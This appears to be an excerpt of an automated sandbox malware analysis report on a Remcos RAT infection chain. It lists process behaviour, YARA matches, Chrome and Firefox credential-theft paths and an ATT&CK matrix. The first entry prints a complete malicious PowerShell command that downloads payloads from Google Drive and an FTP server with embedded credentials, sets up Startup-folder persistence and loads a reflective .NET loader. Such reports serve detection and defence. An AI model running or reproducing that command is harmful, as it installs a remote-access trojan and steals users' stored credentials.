Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "; $jwral = $host.version.major.equals(2) ;if ( $jwral ) {$uvhrt = [system.io.path]::gettemppath();del ( $uvhrt + '\upwin.msu' );$faqoi = 'https://drive.google.com/uc?export=download&id=';$jwemr = $env:processor_architecture.contains('64') ;if ( $jwemr ) {$faqoi = ($faqoi + '1naqdnxigvi_q1rpkazftmygmaqtjxu42') ;}else {$faqoi = ($faqoi + '1g1jmxusx9mc9vmhvrjj2xofz3ak_clot') ;};$yfepp = (new-object net.webclient);$yfepp.encoding = [system.text.encoding]::utf8;$yfepp.downloadfile($urlkb, $uvhrt + '\upwin.msu');$mynkz = ('c:\users\' + [environment]::username );riwcg = ($uvhrt + '\upwin.msu'); powershell.exe wusa.exe riwcg /quiet /norestart ; copy-item 'c:\users\user\desktop\skmbt_77122012816310td0128_17311_xls.vbs' -destination ( $mynkz + '\appdata\roaming\microsoft\windows\start menu\programs\startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[system.net.servicepointmanager]::servercertificatevalidationcallback = {$true};[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$lbczsg;$mjdqf = (new-object net.webclient);$mjdqf.encoding = [system.text.encoding]::utf8;$mjdqf.credentials = new-object system.net.networkcredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578jp@@');$lbczsg = $mjdqf.downloadstring( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/upcrypter/01/dll01.txt' );$mjdqf.dispose();$mjdqf = (new-object net.webclient);$mjdqf.encoding = [system.text.encoding]::utf8;$lbczsg = $mjdqf.downloadstring( $lbczsg );$huupx = 'c:\users\user\desktop\skmbt_77122012816310td0128_17311_xls.vbs';[byte[]] $acbcz = [system.convert]::frombase64string( $lbczsg.replace( '?:?' , 'a' ) );[system.appdomain]::currentdomain.load( $acbcz ).gettype('classlibrary3.class1').getmethod( 'prfvi' ).invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huupx , 'd dd' ) );};"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00434CB6 cpuid

20_2_00434CB6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	20_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	20_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	20_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	20_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	20_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	20_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	20_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	20_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	20_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	20_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	20_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	20_2_00451FD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041A045 __EH_prolog,GdiplusStartup,CreateDirectoryW,Sleep,Sleep,GetLocalTime,Sleep,

20_2_0041A045

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041B69E GetUserNameW,

20_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

20_2_00449210

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3436475205.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1210\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

20_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		20_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		20_2_0040BB6B

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-52K54M
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-52K54M
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-52K54M

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3436475205.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1210\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

20_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Native API	321 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	1 Exfiltration Over Alternative Protocol	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	2 Software Packing	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
